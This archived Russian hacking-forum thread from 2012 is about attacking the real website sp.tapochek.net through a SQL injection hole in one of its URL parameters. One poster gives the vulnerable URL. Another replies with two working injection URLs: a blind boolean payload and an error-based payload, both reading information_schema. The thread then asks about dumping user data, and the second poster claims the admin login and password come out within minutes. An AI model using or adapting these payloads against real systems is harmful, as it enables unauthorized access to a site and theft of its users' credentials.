Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

sql на тапочек нет

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Уязвимости] >> sql на тапочек нет
Имя
Сообщение << Старые топики   Новые топики >>
sql на тапочек нет - 2012-02-28 08:25:48.973333   
Zo_Omer

Сообщений: 81
Оценки: 0
Присоединился: 2012-02-15 20:15:15.383333
http://sp.tapochek.net/psp_umdvid.php?target=info&id=12&ind=13+1

Что можно сделать?
Post #: 1
RE: sql на тапочек нет - 2012-02-28 13:17:34.580000   
r1dex

Сообщений: 304
Оценки: 0
Присоединился: 2008-12-09 01:55:32.130000
Так:

http://sp.tapochek.net/psp_umdvid.php?target=info&id=12&ind=12+and+ascii(lower(substring((select+table_name+from+information_schema.tables+limit+17,1),1,1)))>1

Ну или так:

http://sp.tapochek.net/psp_umdvid.php?target=info&id=12&ind=12+or+1+group+by+concat((select+table_name+from+information_schema.tables+limit+30,1),floor(rand(0)*2))having+min(0)+or+1–+
Post #: 2
RE: sql на тапочек нет - 2012-02-28 14:09:22.890000   
Zo_Omer

Сообщений: 81
Оценки: 0
Присоединился: 2012-02-15 20:15:15.383333
хех) это не то что нужно) это данные о фильмах, и т.п
а "могет" ли кто нибдь слить данные о пользователях?
Post #: 3
RE: sql на тапочек нет - 2012-02-28 22:50:20.566666   
r1dex

Сообщений: 304
Оценки: 0
Присоединился: 2008-12-09 01:55:32.130000
quote:

хех) это не то что нужно) это данные о фильмах, и т.п
а "могет" ли кто нибдь слить данные о пользователях?


О каких нафиг фильмах…
Показал же как скуль крутить, 5 минут - логин и пасс админа на экране.
Ну или пользователя…
Post #: 4
Страниц:  [1]
Все форумы >> [Уязвимости] >> sql на тапочек нет







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.